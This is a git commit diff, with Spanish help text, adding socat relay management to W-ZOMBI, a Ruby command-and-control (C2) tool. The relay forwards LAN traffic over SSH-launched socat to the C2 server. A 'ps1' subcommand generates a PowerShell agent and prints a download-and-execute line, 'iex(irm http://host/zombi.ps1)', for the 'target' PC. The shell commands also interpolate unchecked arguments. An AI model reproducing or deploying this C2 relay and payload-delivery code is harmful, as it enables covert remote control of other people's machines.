🧟 W-ZOMBI: Implementar Relay Switch (A01.P010)
- Soporte para comando `relay` en el CLI (start/stop/status/ps1) - Redirige tráfico HTTPS a través de puerto `socat` en host relay (ej: srv-dasu) - Permite a las PCs de LAN interna que no corren VPN conectar con NS8 W-ZOMBI en Tailscale. - Se integra de forma robusta con la tool de `wzombi`
This commit is contained in:
+142
-6
@@ -2,10 +2,12 @@
|
|||||||
|
|
||||||
require 'optparse'
|
require 'optparse'
|
||||||
require 'json'
|
require 'json'
|
||||||
|
require 'shellwords'
|
||||||
require_relative '../core/colores'
|
require_relative '../core/colores'
|
||||||
require_relative '../w-zombi/lib/wzombi/config'
|
require_relative '../w-zombi/lib/wzombi/config'
|
||||||
require_relative '../w-zombi/lib/wzombi/server'
|
require_relative '../w-zombi/lib/wzombi/server'
|
||||||
require_relative '../w-zombi/lib/wzombi/command_store'
|
require_relative '../w-zombi/lib/wzombi/command_store'
|
||||||
|
require_relative '../w-zombi/lib/wzombi/engine/ps1_builder'
|
||||||
|
|
||||||
module ADN
|
module ADN
|
||||||
class SubcomandoWZombi
|
class SubcomandoWZombi
|
||||||
@@ -30,6 +32,8 @@ module ADN
|
|||||||
actualizar_comando(@args[1])
|
actualizar_comando(@args[1])
|
||||||
when 'log'
|
when 'log'
|
||||||
ver_logs
|
ver_logs
|
||||||
|
when 'relay'
|
||||||
|
cmd_relay(@args[1..-1])
|
||||||
when 'ayuda', '-h', '--help'
|
when 'ayuda', '-h', '--help'
|
||||||
ayuda
|
ayuda
|
||||||
else
|
else
|
||||||
@@ -42,7 +46,7 @@ module ADN
|
|||||||
private
|
private
|
||||||
|
|
||||||
def iniciar_servidor
|
def iniciar_servidor
|
||||||
@logger.info("Iniciando servidor W-ZOMBI v2.0")
|
@logger.info("Iniciando servidor W-ZOMBI v2.1")
|
||||||
begin
|
begin
|
||||||
WZombi::Server.new(@config).start
|
WZombi::Server.new(@config).start
|
||||||
rescue Errno::EADDRINUSE
|
rescue Errno::EADDRINUSE
|
||||||
@@ -76,22 +80,154 @@ module ADN
|
|||||||
system("tail -f #{log_path}")
|
system("tail -f #{log_path}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# ─── Relay: gestión de socat relays en nodos intermedios ────────
|
||||||
|
|
||||||
|
def cmd_relay(args)
|
||||||
|
subcmd = args&.shift
|
||||||
|
case subcmd
|
||||||
|
when 'start'
|
||||||
|
relay_start(args)
|
||||||
|
when 'stop'
|
||||||
|
relay_stop(args)
|
||||||
|
when 'status'
|
||||||
|
relay_status(args)
|
||||||
|
when 'ps1'
|
||||||
|
relay_ps1(args)
|
||||||
|
else
|
||||||
|
puts <<~HELP
|
||||||
|
#{Color::CYAN}🧟 W-ZOMBI Relay Switch#{Color::RESET}
|
||||||
|
|
||||||
|
Uso: ./adn/tools/run wzombi relay <acción> [args]
|
||||||
|
|
||||||
|
Acciones:
|
||||||
|
start <host> [port] Inicia relay socat (default port: 8001)
|
||||||
|
stop <host> [port] Detiene relay
|
||||||
|
status <host> [port] Verifica estado del relay
|
||||||
|
ps1 <ip_lan> [port] Genera PS1 para zombi vía relay
|
||||||
|
|
||||||
|
Ejemplo completo:
|
||||||
|
wzombi relay start srv-dasu 8001
|
||||||
|
wzombi relay ps1 192.168.1.13 8001
|
||||||
|
wzombi cmd "ipconfig /all"
|
||||||
|
wzombi relay status srv-dasu
|
||||||
|
wzombi relay stop srv-dasu
|
||||||
|
HELP
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def relay_start(args)
|
||||||
|
host = args&.shift
|
||||||
|
port = args&.shift || "8001"
|
||||||
|
unless host
|
||||||
|
@logger.error("Falta host. Uso: wzombi relay start <host> [port]")
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
ns8_ip = ENV.fetch("WZ_NS8_IP", "100.111.195.4")
|
||||||
|
ns8_port = @config.puerto
|
||||||
|
|
||||||
|
puts "#{Color::CYAN}🧟 Relay W-Zombi: #{host}:#{port} → NS8(#{ns8_ip}:#{ns8_port})#{Color::RESET}"
|
||||||
|
|
||||||
|
# Matar relay anterior
|
||||||
|
system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\" 2>/dev/null'")
|
||||||
|
sleep 0.5
|
||||||
|
|
||||||
|
# Lanzar socat relay
|
||||||
|
socat_cmd = "socat TCP-LISTEN:#{port},fork,reuseaddr,bind=0.0.0.0 TCP:#{ns8_ip}:#{ns8_port}"
|
||||||
|
ssh_cmd = "ssh #{host} 'nohup #{socat_cmd} > /tmp/wzombi-relay.log 2>&1 & echo PID:$!'"
|
||||||
|
output = `#{ssh_cmd} 2>&1`.strip
|
||||||
|
pid = output[/PID:(\d+)/, 1]
|
||||||
|
|
||||||
|
if pid
|
||||||
|
sleep 1
|
||||||
|
test = `ssh #{host} "curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json" 2>/dev/null`.strip
|
||||||
|
if test.include?('"cmd"')
|
||||||
|
@logger.exito("Relay activo — #{host}:#{port} → NS8:#{ns8_port} (PID: #{pid})")
|
||||||
|
puts " #{Color::DIM}Test: #{test}#{Color::RESET}"
|
||||||
|
puts "\n #{Color::YELLOW}Para generar PS1: wzombi relay ps1 <IP_LAN_de_#{host}> #{port}#{Color::RESET}"
|
||||||
|
else
|
||||||
|
@logger.advertencia("Relay lanzado (PID: #{pid}) pero no responde")
|
||||||
|
puts " Revisar: ssh #{host} cat /tmp/wzombi-relay.log"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
@logger.error("Error lanzando relay en #{host}")
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def relay_stop(args)
|
||||||
|
host = args&.shift
|
||||||
|
port = args&.shift || "8001"
|
||||||
|
unless host
|
||||||
|
@logger.error("Falta host. Uso: wzombi relay stop <host> [port]")
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\"' 2>/dev/null")
|
||||||
|
@logger.exito("Relay detenido en #{host}:#{port}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def relay_status(args)
|
||||||
|
host = args&.shift
|
||||||
|
port = args&.shift || "8001"
|
||||||
|
unless host
|
||||||
|
@logger.error("Falta host. Uso: wzombi relay status <host> [port]")
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
# Verificar si socat está escuchando
|
||||||
|
listening = `ssh #{host} "ss -tlnp 2>/dev/null | grep :#{port}" 2>/dev/null`.strip
|
||||||
|
response = `ssh #{host} "curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json" 2>/dev/null`.strip
|
||||||
|
|
||||||
|
if !listening.empty? && response.include?('"cmd"')
|
||||||
|
@logger.exito("Relay ACTIVO en #{host}:#{port}")
|
||||||
|
puts " #{Color::DIM}Respuesta: #{response}#{Color::RESET}"
|
||||||
|
elsif !listening.empty?
|
||||||
|
@logger.advertencia("Relay escuchando en #{host}:#{port} pero backend no responde")
|
||||||
|
else
|
||||||
|
@logger.error("Relay NO activo en #{host}:#{port}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def relay_ps1(args)
|
||||||
|
relay_ip = args&.shift
|
||||||
|
relay_port = args&.shift || "8001"
|
||||||
|
unless relay_ip
|
||||||
|
@logger.error("Falta IP del relay. Uso: wzombi relay ps1 <ip_lan> [port]")
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
host = "#{relay_ip}:#{relay_port}"
|
||||||
|
ps1 = WZombi::Engine::PS1Builder.build(host: host)
|
||||||
|
|
||||||
|
puts "#{Color::CYAN}🧟 PS1 para zombi vía relay (#{host})#{Color::RESET}"
|
||||||
|
puts "#{Color::DIM}─────────────────────────────────────────────#{Color::RESET}"
|
||||||
|
puts ps1
|
||||||
|
puts "#{Color::DIM}─────────────────────────────────────────────#{Color::RESET}"
|
||||||
|
puts "\n#{Color::YELLOW}En PowerShell de la PC target:#{Color::RESET}"
|
||||||
|
puts " iex(irm http://#{host}/zombi.ps1)"
|
||||||
|
puts "\n#{Color::YELLOW}O copiar/pegar el PS1 de arriba directamente.#{Color::RESET}"
|
||||||
|
end
|
||||||
|
|
||||||
def ayuda
|
def ayuda
|
||||||
puts <<~HELP
|
puts <<~HELP
|
||||||
#{Color::CYAN}🧟 Herramienta W-ZOMBI v2.0#{Color::RESET}
|
#{Color::CYAN}🧟 Herramienta W-ZOMBI v2.1#{Color::RESET}
|
||||||
|
|
||||||
Uso: ./adn/tools/run wzombi <acción> [argumentos]
|
Uso: ./adn/tools/run wzombi <acción> [argumentos]
|
||||||
|
|
||||||
Acciones:
|
Acciones:
|
||||||
start Levanta el servidor C2 (WEBrick)
|
start Levanta el servidor C2 (WEBrick)
|
||||||
cmd "<comando>" Actualiza el comando para los agentes
|
cmd "<comando>" Actualiza el comando para los agentes
|
||||||
log Muestra la telemetría en tiempo real (tail -f)
|
log Muestra la telemetría en tiempo real (tail -f)
|
||||||
ayuda Muestra esta ayuda
|
relay <sub> [args] Gestión de relays (ver: wzombi relay)
|
||||||
|
ayuda Muestra esta ayuda
|
||||||
|
|
||||||
Ejemplos:
|
Ejemplos:
|
||||||
./adn/tools/run wzombi cmd "ipconfig /all"
|
./adn/tools/run wzombi cmd "ipconfig /all"
|
||||||
./adn/tools/run wzombi start
|
./adn/tools/run wzombi start
|
||||||
|
./adn/tools/run wzombi relay start srv-dasu
|
||||||
HELP
|
HELP
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -9,12 +9,18 @@ config = WZombi::Config.new(base_path: base)
|
|||||||
def help
|
def help
|
||||||
puts <<~HELP
|
puts <<~HELP
|
||||||
Uso:
|
Uso:
|
||||||
w-zombi start
|
w-zombi start Inicia servidor WEBrick
|
||||||
w-zombi cmd "<comando>"
|
w-zombi cmd "<comando>" Envía comando al zombi
|
||||||
|
w-zombi relay start <host> [port] Inicia relay socat en host remoto
|
||||||
|
w-zombi relay stop <host> Detiene relay en host remoto
|
||||||
|
w-zombi relay status <host> Estado del relay en host remoto
|
||||||
|
w-zombi relay ps1 <host_lan_ip> Genera PS1 para conectar vía relay
|
||||||
w-zombi ayuda | -h | -help
|
w-zombi ayuda | -h | -help
|
||||||
|
|
||||||
Ejemplo ADN:
|
Ejemplo relay:
|
||||||
adn tools w-zombi cmd "ipconfig"
|
w-zombi relay start srv-dasu 8001 # Relay en srv-dasu:8001 → NS8:8000
|
||||||
|
w-zombi relay ps1 192.168.1.13 # PS1 que apunta al relay
|
||||||
|
w-zombi relay stop srv-dasu # Detener relay
|
||||||
HELP
|
HELP
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -34,6 +40,100 @@ when "cmd"
|
|||||||
store.update(command)
|
store.update(command)
|
||||||
puts "Comando actualizado: #{command}"
|
puts "Comando actualizado: #{command}"
|
||||||
|
|
||||||
|
when "relay"
|
||||||
|
subcmd = ARGV[1]
|
||||||
|
case subcmd
|
||||||
|
when "start"
|
||||||
|
host = ARGV[2]
|
||||||
|
port = ARGV[3] || "8001"
|
||||||
|
unless host
|
||||||
|
puts "Falta host. Uso: w-zombi relay start <host> [port]"
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
ns8_ip = ENV.fetch("WZ_NS8_IP", "100.111.195.4")
|
||||||
|
ns8_port = config.puerto
|
||||||
|
|
||||||
|
puts "🧟 Relay W-Zombi → #{host}:#{port} → NS8(#{ns8_ip}:#{ns8_port})"
|
||||||
|
|
||||||
|
# Matar relay anterior si existe
|
||||||
|
system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\"' 2>/dev/null")
|
||||||
|
sleep 0.5
|
||||||
|
|
||||||
|
# Lanzar socat relay
|
||||||
|
socat_cmd = "socat TCP-LISTEN:#{port},fork,reuseaddr,bind=0.0.0.0 TCP:#{ns8_ip}:#{ns8_port}"
|
||||||
|
result = system("ssh #{host} 'nohup #{socat_cmd} > /tmp/wzombi-relay.log 2>&1 & echo PID:$!'")
|
||||||
|
|
||||||
|
if result
|
||||||
|
# Verificar
|
||||||
|
sleep 1
|
||||||
|
test = `ssh #{host} "curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json" 2>/dev/null`.strip
|
||||||
|
if test.include?('"cmd"')
|
||||||
|
puts "✅ Relay activo — #{host}:#{port} → NS8:#{ns8_port}"
|
||||||
|
puts " Test: #{test}"
|
||||||
|
puts "\n Para generar PS1: w-zombi relay ps1 <IP_LAN_de_#{host}>"
|
||||||
|
else
|
||||||
|
puts "⚠️ Relay lanzado pero no responde. Revisar logs en #{host}:/tmp/wzombi-relay.log"
|
||||||
|
end
|
||||||
|
else
|
||||||
|
puts "❌ Error lanzando relay en #{host}"
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
when "stop"
|
||||||
|
host = ARGV[2]
|
||||||
|
port = ARGV[3] || "8001"
|
||||||
|
unless host
|
||||||
|
puts "Falta host. Uso: w-zombi relay stop <host> [port]"
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
system("ssh #{host} 'pkill -f \"socat.*TCP-LISTEN:#{port}\"' 2>/dev/null")
|
||||||
|
puts "🛑 Relay detenido en #{host}:#{port}"
|
||||||
|
|
||||||
|
when "status"
|
||||||
|
host = ARGV[2]
|
||||||
|
port = ARGV[3] || "8001"
|
||||||
|
unless host
|
||||||
|
puts "Falta host. Uso: w-zombi relay status <host> [port]"
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
output = `ssh #{host} "ss -tlnp 2>/dev/null | grep :#{port}; echo '---'; curl -s --connect-timeout 3 http://localhost:#{port}/cmd.json 2>/dev/null || echo 'NO_RESPONSE'" 2>&1`.strip
|
||||||
|
lines = output.split("---")
|
||||||
|
|
||||||
|
listening = lines[0]&.include?(port.to_s)
|
||||||
|
response = lines[1]&.strip
|
||||||
|
|
||||||
|
if listening && response&.include?('"cmd"')
|
||||||
|
puts "✅ Relay ACTIVO en #{host}:#{port}"
|
||||||
|
puts " Respuesta: #{response}"
|
||||||
|
elsif listening
|
||||||
|
puts "⚠️ Relay escuchando en #{host}:#{port} pero sin respuesta del backend"
|
||||||
|
else
|
||||||
|
puts "❌ Relay NO activo en #{host}:#{port}"
|
||||||
|
end
|
||||||
|
|
||||||
|
when "ps1"
|
||||||
|
relay_ip = ARGV[2]
|
||||||
|
relay_port = ARGV[3] || "8001"
|
||||||
|
unless relay_ip
|
||||||
|
puts "Falta IP del relay. Uso: w-zombi relay ps1 <ip_lan_relay> [port]"
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
|
# Generar PS1 que apunta al relay en vez de NS8 directo
|
||||||
|
require_relative '../lib/wzombi/engine/ps1_builder'
|
||||||
|
host = "#{relay_ip}:#{relay_port}"
|
||||||
|
ps1 = WZombi::Engine::PS1Builder.build(host: host)
|
||||||
|
puts ps1
|
||||||
|
|
||||||
|
else
|
||||||
|
puts "Subcomando relay desconocido: #{subcmd}"
|
||||||
|
puts "Uso: w-zombi relay start|stop|status|ps1 <host>"
|
||||||
|
exit 1
|
||||||
|
end
|
||||||
|
|
||||||
when "ayuda", "-h", "-help", nil
|
when "ayuda", "-h", "-help", nil
|
||||||
help
|
help
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user